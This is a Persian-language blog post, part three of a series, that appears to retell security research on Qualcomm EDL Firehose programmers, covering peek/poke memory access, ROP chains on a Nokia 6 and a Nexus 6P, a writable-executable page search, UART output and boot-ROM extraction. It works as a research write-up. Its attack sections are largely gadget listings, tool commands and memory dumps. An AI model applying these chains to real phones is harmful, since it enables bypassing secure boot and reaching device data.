0 سبد خرید

سبد خرید شما خالی است.

دسترسی به داخل emmc با چیپ کوالکام& پشت پرده 9008-(3)

نویسنده: محمد دانه زن
بازدید: 1398 نفر
به روز رسانی:

بخش سوم

Memory-based Attacks

پیک و پوک

همانطور که در قسمت 1 شاهد بودیم، به طور عجیبی Firehose ها تگ های XML peek و poke را پیاده سازی می کنند، که طبق مکاتبات ما با Qualcomm، سفارشی سازی هایی هستند که توسط آسیب پذیری edl تنظیم شده اند. از آنجایی که کد مدیریت آنها رایج است، ما فقط می توانیم حدس بزنیم که برخی از پرچم های کامپایل(متغییر های cpu)  وجود دارد که توسط OEM های آسیب دیده فعال نگه داشته می شود.

به هر حال، پیک و پوک جام مقدسی هستند که مهاجمان خلاقانه با سوء استفاده از آسیب‌پذیری‌ها به دست می‌آورند. اما در موردپروگرامر ,  Firehose، این ویژگی ها داخلی هستند!

تجزیه و تحلیل کنترل کننده های آنها نشان می دهد که برچسب های peek و poke فرمت زیر را دارند:

32-bit programmers:

<"peek address64="ADDR" SizeInBytes="SIZE/>
<"poke address64="ADDR" SizeInBytes="SIZE" value="VALUE/>

64-bit programmers:

<"peek address64="ADDR" size_in_bytes="SIZE />
<"poke address64="ADDR" size_in_bytes="SIZE" value64="VALUE />

در این بخش قصد داریم به نوکیا 6 یک حمله انجام دهیم و ثابت کنیم که همه گفته هایمان تئوری نیست!

هدف بعدی ما این است که بتوانیم از این مطالب برای اجرای کد در خود پروگرامر  استفاده کنیم. انجام این کار به ما امکان می دهد در زمان اجرا در مورد پروگرامر  تحقیق کنیم. از آنجایی که پروگرامر  خود SBL را جایگزین می کند، ما انتظار داریم که با امتیازات بسیار بالایی اجرا شود (امیدواریم EL3)، این فرضیه که بعداً پس از اجرای کد می توانیم تأیید یا رد کنیم.

به دست آوردن اجرای کد در پروگرامرهای  Nokia 6 و aarch32
اولین هدف ما دستگاه  نوکیا 6 است که شامل یک چیپ  SoC MSM8937 است. این دستگاه دارای پروگرامر aarch32 لو رفته است. برای دستیابی به اجرای کد در برنامه نویس، امیدوار بودیم یک صفحه حافظه قابل نوشتن و اجرایی پیدا کنیم که کد خود را در آن بارگذاری کنیم و سپس مقداری LR ذخیره شده را در پشته اجرا جایگزین کنیم تاکنترل جریان را به دست بگیریم.

بنابراین، این نوع حمله مستلزم موارد زیر است:

  • پیدا کردن آدرس پشته اجرا.(این یک تکنیک در درس ساختمان داده ها و الگوریتم ها در دانشگاه تدریس میشود)
  • پیدا کردن یک صفحه WX
  • یافتن مکان حافظه پشته اجرا نسبتاً آسان است، زیرا در کنترل کننده وقفه تنظیم مجددپروگرامر تنظیم شده است.(وقفه: بنگرید به طراحی سیستم های عامل).
  • دقیقا این بخش در پروگرامر (سورس تمام را آپلود خواهم کرد):
  • LOAD:08008A60  LDR  R0, =0x805D000 ; Load from Memory
    LOAD:08008A64  MOV  SP, R0  ; Rd = Op2

در مرحله بعد، پشته را تفتیش  کردیم و کاندیدهای ذخیره شده LR را برای جایگزینی جستجو کردیم:

> firehorse.py -t nokia6 fw peek 0x805cf80 80
0805cf80  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0805cf90  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0805cfa0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0805cfb0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0805cfc0  00 00 00 00 00 00 00 00 72 eb dc 2f 00 00 00 00   ........r../....
0805cfd0  00 e8 06 08 f0 d7 06 08 00 10 06 08 9b 04 02 08   ................
0805cfe0  e8 cf 05 08 00 90 20 00 68 00 00 00 00 00 00 00   ...... .h.......
0805cff0  f4 9b 01 08 01 00 00 00 88 09 07 08 d9 9b 01 08   ................

ما 0x0802049b را انتخاب میکنیم – پروگرامر دارای یک حلقه اصلی است که منتظر XML های ورودی از طریق USB است (input_input از قسمت 1)، بنابراین مقدار LR جایگزین شده ما محل بازگشت به آن حلقه از تجزیه کننده فرمان های XML است:

LOAD:08020490  MOV   R0, R4  
LOAD:08020492  BL    set_struct_fields 
LOAD:08020496  BL    parse_command 
LOAD:0802049A  CMP   R0, #1  ; <- CHOSEN LR
LOAD:0802049C  BNE   loc_8020496 

یک اسمبلی است (یادم رفته بود بگم برای انجام چنین کاری نیازی به دانستن زبان شیرین اسمبلی دارید)

برای اینکه از مطلب دور نشویم دیگر به آموزش زبان اسمبلی نخواهیم پرداخت

قرار دادن محل پشته مربوطه (0x805cfdc) با یک آدرس دلخواه باید جریان اجرا را هک کند که میکند .خوشبختانه ، این نباید به همین راحتی باشد، همانطور که انتظار داشتیم پروگرامر صفحات غیر قابل اجرا را برای محافظت در برابر چنین سوء استفاده بی اهمیتی به کار گیرد.در این مرحله از تحقیق، ما درک زیادی از چیدمان حافظه پروگرامر ها نداشتیم و با توجه به این واقعیت که زدن یک آدرس دلخواه نقشه برداری نشده منجر به خرابی (یه حلقه بی نهایت تو راه اندازی مجدد) شد، مجبور شدیم روشی هوشمندتر برای استنباط از چنین چیدمان حافظه پروگرامر .برای انجام این کار، ما یک اکسپلویت مبتنی بر ROP ابداع کردیم تا رجیستر TTBR0 را که آدرس پایه *جدول صفحه را نگه می‌دارد، نشت کنیم. (بعداً متوجه شدیم که این کار ضروری نیست، زیرا ما همچنین به صورت ایستا آن آدرس را در باینری های PBL & Programmer پیدا کردیم.) امیدواریم بتوانیم یک صفحه مناسب (یعنی صفحه ای که هم قابل نوشتن و هم قابل اجرا باشد) پیدا کنیم یا آن را تغییر دهیم به وسیله poke (دسترسی به مجوزهای موجود)

برای نوکیا 6 از زنجیره ROP زیر استفاده کردیم:

*جدول صفحه=(بنگرید به مدیریت حافظه در سیستم عامل ترجیحا یونیکس)

1-)گجت: پشته را با 0x118 بایت افزایش می دهیم.

LOAD:08025A8A  ADD      SP, SP, #0x118
LOAD:08025A8C  MOV      R0, R4
LOAD:08025A8E  POP.W    {R4-R8}
LOAD:08025A92  LDR.W    PC, [SP],#0x14

بنابراین، آدرس ابزار بعدی (0x8008D38) باید به ORIGINAL_SP + 4 + 0x118 + 20 (R4-R8) نوشته شود.

2-)گجت: با استفاده از گجت زیر کنترل R4-R12,LR را در اختیار داریم:

LOAD:08008D38  LDMFD   SP!, {R4-R12,LR}
LOAD:08008D3C  MOV     R0, R1
LOAD:08008D40  BX      LR

کنترل LR به ما امکان می‌دهد آدرس ابزار بعدی را تنظیم کنیم – 0x0801064B

اینم ست میکنیم

3-)گجت: ابزار بعدی R12 را صدا میزند (که ما با استفاده از ابزار قبلی کنترل مرحله بالا می کنیم):

LOAD:0801064A  BLX   R12
LOAD:0801064C  MOV   R5, R0
LOAD:0801064E  LDR   R1, [SP,#4]
LOAD:08010650  CMP   R1, R4
LOAD:08010652  BEQ   loc_8010658
LOAD:08010654  BL    canaryFail
LOAD:08010658  ADD   SP, SP, #0xC
LOAD:0801065A  MOV   R0, R5
LOAD:0801065C  POP   {R4,R5,PC}

4-)گجت : R12 را روی 080081AC تنظیم کردیم، ابزاری که TTBR0 را روی R0 کپی می‌کند:دستور mrc

LOAD:080081AC  MRC  p15, 0, R0,c2,c0, 0
LOAD:080081B0  MOV  R0, R0,LSR#14
LOAD:080081B4  MOV  R0, R0,LSL#14
LOAD:080081B8  BX   LR

این به GADGET 3 با R0 = TTBR0 برمی‌گردد.

5-): گجت بعدی R0 را روی [R4] کپی می کند، که می توانیم با استفاده از گجت2 آن را کنترل کنیم:گجت 2 =مرحله دو

LOAD:0800D036  STR  R0, [R4]
LOAD:0800D038  ADD  SP, SP, #0x14
LOAD:0800D03A  POP  {R4,R5,PC

ما از این ابزار به تماس‌گیرنده اصلی برمی‌گردیم. تنها چیزی که باید مراقب آن باشیم کپی کردن پشته اصلی و جابجایی آدرس پشته مطلق است.

تمامی این کار ها بازبان قدرتمند c انجام خواهد شد

با اجرای این زنجیره، موفق شدیم رجیستر TTBR0 را بدون خراب کردن دستگاه (با استفاده از پشته بازنوسازی شده به فراخوان کننده اصلی بازگشتیم) به یک آدرس حافظه کنترل‌شده درز کنیم.

> firehorse.py  -t nokia6 target rop
INFO: dst 805d180, n=2090000805cfe8
INFO: dst 805d188, n=68
INFO: dst 805d190, n=108019bf4
INFO: dst 805d198, n=8019bd908070988
INFO: dst 805d1a0, n=0
INFO: dst 805d1a8, n=0
INFO: dst 805d1b0, n=0
INFO: dst 805d1b8, n=0

سپس با استفاده از peek primitive، رجیستر فاش شده را می خوانیم:peek یعنی شکافتن , بازکردن و..

> firehorse.py -t nokia6 fw peek 0x80b0000 4
INFO: 080b0000  00 00 20 00                                       .. .

بنابراین TTBR0 = 0x200000! با نگاهی به این آدرس می توان به موارد زیر اشاره کرد:

> firehorse.py -t nokia6 fw peek 0x200000 50
00200000  16 0c 00 00 01 40 20 00 01 48 20 00 16 0c 30 00   .....@ ..H ...0.
00200010  16 0c 40 00 16 0c 50 00 16 0c 60 00 16 0c 70 00   ..@...P...`...p.
00200020  16 0c 80 00 16 0c 90 00 16 0c a0 00 16 0c b0 00   ................
00200030  16 0c c0 00 16 0c d0 00 16 0c e0 00 16 0c f0 00   ................
00200040  16 0c 00 01 16 0c 10 01 16 0c 20 01 16 0c 30 01   .......... ...0.

بالاخره یک جدول صفحه داریم!

و میتونیم با استفاده از برنامه هایی که با C  نوشته شده توی جدول صفحه چرخ بزنیم و اطلاعات به دست بیاریم . مسئله که حل شود آسان شود

> firehorse.py -t nokia6 target dump_pt
First level (va = 00200000)
---------------------------------------------
00000000  SECTION nx=0x1, apx=0x0, section_base=0x0, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00100000       PT domain=0x0, coarse_base=0x204000, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
00200000       PT domain=0x0, coarse_base=0x204800, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
00300000  SECTION nx=0x1, apx=0x0, section_base=0x300000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
07f00000  SECTION nx=0x1, apx=0x0, section_base=0x7f00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08000000       PT domain=0x0, coarse_base=0x204400, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x1,
08100000  SECTION nx=0x1, apx=0x0, section_base=0x8100000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08200000  SECTION nx=0x1, apx=0x0, section_base=0x8200000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08300000  SECTION nx=0x1, apx=0x0, section_base=0x8300000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08400000  SECTION nx=0x1, apx=0x0, section_base=0x8400000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08500000  SECTION nx=0x1, apx=0x0, section_base=0x8500000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08600000       PT domain=0x0, coarse_base=0x204c00, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
08700000  SECTION nx=0x1, apx=0x0, section_base=0x8700000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
Second level (va = 08000000)
---------------------------------------------
08000000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8000000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8000172,
08001000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8001000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8001172,
08002000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8002000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8002172,
08003000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8003000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8003172,
08004000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8004000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8004172,
08005000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8005000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8005172,
08006000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8006000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8006326,
08007000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8007000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8007326,
08008000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8008000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8008326,
[...]
0807b000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807b000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807b137,
0807c000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807c000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807c137,
0807d000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807d000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807d137,
0807e000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x807e000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x807e172,
0807f000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x807f000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x807f172,
08080000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8080000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8080172,
08081000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8081000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8081172,
08082000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8082000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8082172,
[...]

APX=0، AP=0x3، NX=0x0 به معنای صفحه (WX)  نوشته شده و قابل اجرا است. همانطور که می بینید، چنین صفحاتی در حال حاضر برای سوء استفاده در دسترس ما هستند. بنابراین ما می‌توانیم به سادگی کد دلخواه را در چنین صفحاتی بارگذاری کنیم و اجرا را به سمت آن کد مجبور کنیم – برای نوکیا 6، ROP نیازی نبود!

بقیه دستگاه‌های ما با پروگرامر aarch32 (Xiaomi Note 5A و Xiaomi Note 4) یک صفحه WX نیز در دسترس داشتند، بنابراین اجرای کد روی آنها نیز فوری بود.

اجرای کد روی پروگرامر با معماری 64 بیت!

در مورد سایر دستگاه‌های ما، که دارای پروگرامر های aarch64 هستند، بهره‌برداری مبتنی بر ROP واقعاً مورد نیاز بود، زیرا هیچ صفحه قابل نوشتن/اجرای یافت نشد، احتمالاً به دلیل استفاده از SCTLR.WXN، که اجرای هر صفحه قابل نوشتن را بدون توجه به بیت NX آن برای شکست دادن آن، ما یک زنجیره ROP ابداع کردیم که خود *MMU را غیرفعال می کند!

 memory management unit (MMU)*

به عنوان مثال، برای Nexus 6P (MSM8994) از زنجیره زیر برای غیرفعال کردن MMU استفاده کردیم – مانند Nokia 6، آدرس پایه پشته (0xFEC04000) را پیدا کردیم، آن را تخلیه کردیم و یک هدف LR ذخیره شده (0xFEC03F88) را انتخاب کردیم.

میریم برای دستکاری گوشی Nexus6p :::::::::::::

در این نفوذ ما مراحل را گجت مینامیم

 GADGET 1  :  اولین ابزار ما(گجت)  به ما کنترل روی X0-X30 را می‌دهد به طور کامل :

ROM:00000000F803E848   LDP  X30, X0, [SP+0x100+var_100],#0x10
ROM:00000000F803E84C   LDP  X28, X29, [SP+0xF0+var_F0],#0x10
ROM:00000000F803E850   LDP  X26, X27, [SP+0xE0+var_E0],#0x10
ROM:00000000F803E854   LDP  X24, X25, [SP+0xD0+var_D0],#0x10
ROM:00000000F803E858   LDP  X22, X23, [SP+0xC0+var_C0],#0x10
ROM:00000000F803E85C   LDP  X20, X21, [SP+0xB0+var_B0],#0x10
ROM:00000000F803E860   LDP  X18, X19, [SP+0xA0+var_A0],#0x10
ROM:00000000F803E864   LDP  X16, X17, [SP+0x90+var_90],#0x10
ROM:00000000F803E868   LDP  X14, X15, [SP+0x80+var_80],#0x10
ROM:00000000F803E86C   LDP  X12, X13, [SP+0x70+var_70],#0x10
ROM:00000000F803E870   LDP  X10, X11, [SP+0x60+var_60],#0x10
ROM:00000000F803E874   LDP  X8, X9, [SP+0x50+var_50],#0x10
ROM:00000000F803E878   LDP  X6, X7, [SP+0x40+var_40],#0x10
ROM:00000000F803E87C   LDP  X4, X5, [SP+0x30+var_30],#0x10
ROM:00000000F803E880   LDP  X2, X3, [SP+0x20+var_20],#0x10
ROM:00000000F803E884   LDP  X0, X1, [SP+0x10+var_10],#0x10
ROM:00000000F803E888   RET

GADGET 2: این ابزار، با صدازدنX4، که ما آن را کنترل با استفاده از GADGET 1 می کنیم  :

ROM:00000000F800E280   BLR  X4
ROM:00000000F800E284   LDR  X30, [SP,#8]
ROM:00000000F800E288   ADD  SP, SP, #16
ROM:00000000F800E28C   RET

GADGET 3: ما X4 را روی 0xF03DF38 تنظیم کردیم، ابزاری که X1 را می‌نویسد (که با استفاده از GADGET 1 آن را کنترل می‌کنیم)EL3 است که ثبت کنترل سیستم (SCTLR_EL3) را انجام میدهد:

ROM:00000000F803DF38   MSR #6, c1, c0, #0, X1
ROM:00000000F803DF3C   RET

  LSB.SCTLR_EL3،کنترل می‌کند  MMU را(0 = غیرفعال). این ابزار به GADGET 2 ارجاع میشود .

GADGET 2: مشابه مورد aarch32، ما پشته اصلی s.t را کپی می کنیم. آخرین ابزار به تماس گیرنده اصلی باز می گردد و دستگاه به پردازش دستورات Firehose ادامه می دهد.

پس از اجرای زنجیره خود، می‌توانیم در هر مکان حافظه قابل نوشتن بارگذاری و اجرا کنیم.

ما یک زنجیره مشابه برای OnePlus 5 ساختیم، با این حال، برای اینکه دستگاه را در حالت کار نگه داریم، مجبور شدیم برخی از ثبات ها را قبل از اجرای زنجیره به مقدار اولیه خود بازگردانیم. علاوه بر این، پروگرامر OnePlus 5 در EL1 اجرا می‌شوند، بنابراین ما از SCTLR_EL1 به جای همتای EL3 استفاده کردیم.

دریافت خروجی UART

با اجرای کد دلخواه، می‌توانیم تحقیقات پروگرامر را، این بار در “زمان اجرا”، آغاز کنیم. قبل از انجام این کار، باید به نحوی از دستگاه خروجی بگیریم. اگرچه می‌توانیم به مکان‌های حافظه دلخواه نگاه کنیم (و اینگونه است که TTBR0 را از برنامه‌نویس Nokia 6 فاش کردیم)، هم ناخوشایند و هم ناکافی است، زیرا ممکن است کد ما دستگاه را خراب کند و اشکال‌زدایی را بسیار دردناک کند. (برای اشکال‌زدایی در طول توسعه زنجیره ROP خود، از ابزارهایی استفاده کردیم که یا دستگاه را راه‌اندازی مجدد می‌کنند یا حلقه‌های بی‌نهایت ایجاد می‌کنند تا نشان دهیم ابزارهای ما واقعاً اجرا شده‌اند).

خوشبختانه برای ما، معلوم شد که اکثر دستگاه‌های اندرویدی یک نقطه UART را نشان می‌دهند که می‌تواند به یک FTDI232 استاندارد تغذیه شود. برای اکثر دستگاه‌ها، نقاط UART مربوطه قبلاً توسط محققان/مهندس‌های همکار به صورت آنلاین مستند شده است. با این حال، کشف نقطه در دستگاه های مستند نشده کار آسانی است.

به عنوان مثال، نقطه UART TX برای OnePlus 5 در اینجا آمده است:

TX:ارسال کننده (پایه)

RT:دریافت کننده

در برخی از دستگاه ها UART توسط پروگرامر مقداردهی اولیه نمی شود. برای چنین دستگاه‌هایی، می‌توان آن را مستقیماً از حافظه حذف کرد (متاسفانه به ما اجازه نمی‌دهد خرابی‌ها را اشکال‌زدایی کنیم):

> firehorse.py  -t angler target uart
INFO: Reading UART from 00000000fe813b70

Format: Log Type - Time(microsec) - Message
Log type: B - since boot(excluding boot rom).  D - delta
B -  12694466 - SBL1, Start
B -  12700810 - scatterload_region && ram_init, Start
B -  12702152 - Entering DeviceProgrammer

برای اینکه کد ما در رابط UART بنویسد، ما به سادگی با یکی از روال های موجود پروگرامر تماس می گیریم. به عنوان مثال، در OnePlus 5:

int64 __fastcall uartB(char *a1)
}
  char *v1; // x20
  unsigned int v2; // w21

 ; v1 = a1
  ;()v2 = sub_140323EC
;  sub_14032128(v1, v2, 66LL, 0LL) 
 ; return uartOut(v1, v2, 'B', 0LL) 
{

اکنون که می‌توانیم «به راحتی» خروجی را از دستگاه دریافت کنیم، در نهایت برای تحقیق در زمان اجرا آماده هستیم.

 

تحقیق در زمان اجرا

اولین سوال تحقیقی که به آن رسیدیم این بود که تحت چه سطح استثنایی (امتیاز) قرار گرفتیم:

برای پاسخ به سؤال پژوهشی خود، می‌توانیم ثبات های مربوطه را مطالعه کنیم. برای (aarch64 )این رو  CurrentEL داریم، برای (aarch32 )این رو  CPSR.Mداریم همچنین ثبات SCR.NS را می‌خوانیم (در صورت امکان) تا بفهمیم آیا در حالت امن اجرا می‌شویم یا خیر.

برای مثال، برای Nokia 6 (aarch32)، گزارش UART زیر را دریافت می‌کنیم که نشان می‌دهد در EL3 هستیم:

B - CPSR = 00000000
B - SCR = 800000d3
B - NSACR = 00000000
B - VBAR = 08006000
B - MVBAR = e8445ce0
B - RMR = 00000000
B - TTBR0 = 00200000
B - TTBR1 = c9051653

پروگرامر Nexus 6P ,(angler) aarch64 هم در EL3 اجرا می‌شود:

B - Exception Level=3
B - DAIF=00000000000003c0, NZCV=0000000020000000, SPSel=0000000000000001
B - TTBR0_EL3  = 00000000fe800000
B - VBAR_EL3   = 00000000f803f000
B - SCTLR_EL3  = 0000000070dd191e
B - TCR_EL3    = 0000000000000220
B - SCR_EL3    = 0000000000000400

از طرف دیگر، پروگرامر OnePlus 5 در EL1 اجرا می شود: el1 یعنی سطح استثناء

B - Exception Level=1
B - DAIF=00000000000000c0, NZCV=0000000020000000, SPSel=0000000000000001
B - TTBR0_EL1  = 000000001400f000
B - TTBR1_EL1  = 0000000000000000
B - VBAR_EL1   = 0000000014015000
B - SCTLR_EL1  = 0000000000c00800
B - TCR_EL1    = 000000000080001c

می بینیم که جدیدترین برنامه نویس دارای کمترین سطح امتیاز است که نشانه خوبی از کوالکام است.

دریافت کاربرد پردازش PBLs

با دانستن چیدمان حافظه پروگرامرها، و سطح استثنای در حال اجرا، شروع به نگاه کردن به اطراف کردیم. خوشبختانه، برای چیپست های منتخب، ما به زودی با خود PBL مواجه شدیم:

Device SoC arch PBL base SHA256 (first 84 KB) SHA256 (first 96 KB)
Xiaomi Note 5A (ugglite) MSM8917 aarch32 0x100000 62A1E772932EB33E86EE9A141403B78EF2D00F2C6848FE17213B92FCC7FAD1DF E0B29ACCFF90D46023B449E071E74B1B0503FE704FD0DEFDE7317797601D9F31
Xiaomi Note 4 (mido) MSM8953 aarch32 0x100000 7E8BF70DFAD30A2C410EE91B301FACA9684677656F29F1E287C84360B149823A B46518743470D2DF8B7DADE1561C87407D6DCE5CC489B88AC981C63078D82782
Nokia 6 (d1c) MSM8937 aarch32 0x100000 62A1E772932EB33E86EE9A141403B78EF2D00F2C6848FE17213B92FCC7FAD1DF B674D3DC099E6D1A43D01055AA6089647594B9D455F32EF2238FB619CF67FF5C
Nexus 6P (angler) MSM8994 aarch64 0xFC010000 73A038CD54EB5F36C63555FDED82669D6FA98EF7EDA33417615DF481DD98BCFA 4EF56F77DF83A006F97C5E4AB2385431F573F4F120C1B452D414F01EDA40F637
OnePlus X MSM8974 aarch64 0xFC010000 C073E07C7444C2A1C6E4BFFDBB0D7ABE8E6CB3AB68B2C5F2FA932AC6BBADF360 BE783DC133326E22D06823A335C1AEA0A3E544B4421A407263C9941DB6EA4E0C

 

برای مثال این متن های زیر یک بوت لودر اصلی برای چیپ MSM8994 است: 

این کد ها برای دانلود قرار خواهم داد تا مورد استفاده همکاران گرامی واقع شود.

> firehose.py -t angler target extract_pbl
> strings -n 8 pbl-angler-fc010000.bin | sort | uniq
./apps/pbl_auth.c
./apps/pbl_cache_mmu.c
./apps/pbl_dload.c
./apps/pbl_error_handler.c
./apps/pbl_flash.c
./apps/pbl_flash_sdcc.c
./apps/pbl_flash_ufs.c
./apps/pbl_hw_init.c
./apps/pbl_loader.c
./apps/pbl_mc.c
./apps/pbl_sahara.c
./apps/pbl_timer.c
EFI PART
QUALCOMM COPYRIGHT 2013 AUTHOR: Qualcomm CoreBSP Boot, Security, USB
./shared/pbl_common.c

لطفاً توجه داشته باشید که PBL را نمی توان با کدهای در حال اجرا در سیستم عامل  به دست آورد. تست شده روی Nexus 6P ما، تلاش برای خواندن از آدرس فیزیکی PBL آن (0xFC010000)، کردیم و بلافاصله منجر به راه‌اندازی مجدد سیستم شد. ما حدس می زنیم که Boot ROM را فقط می توان از حالت امن بدست آورد. تا این خد از درک و تداعی کافی است

 

 

 

 

نظرتان را به اشتراک بگذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *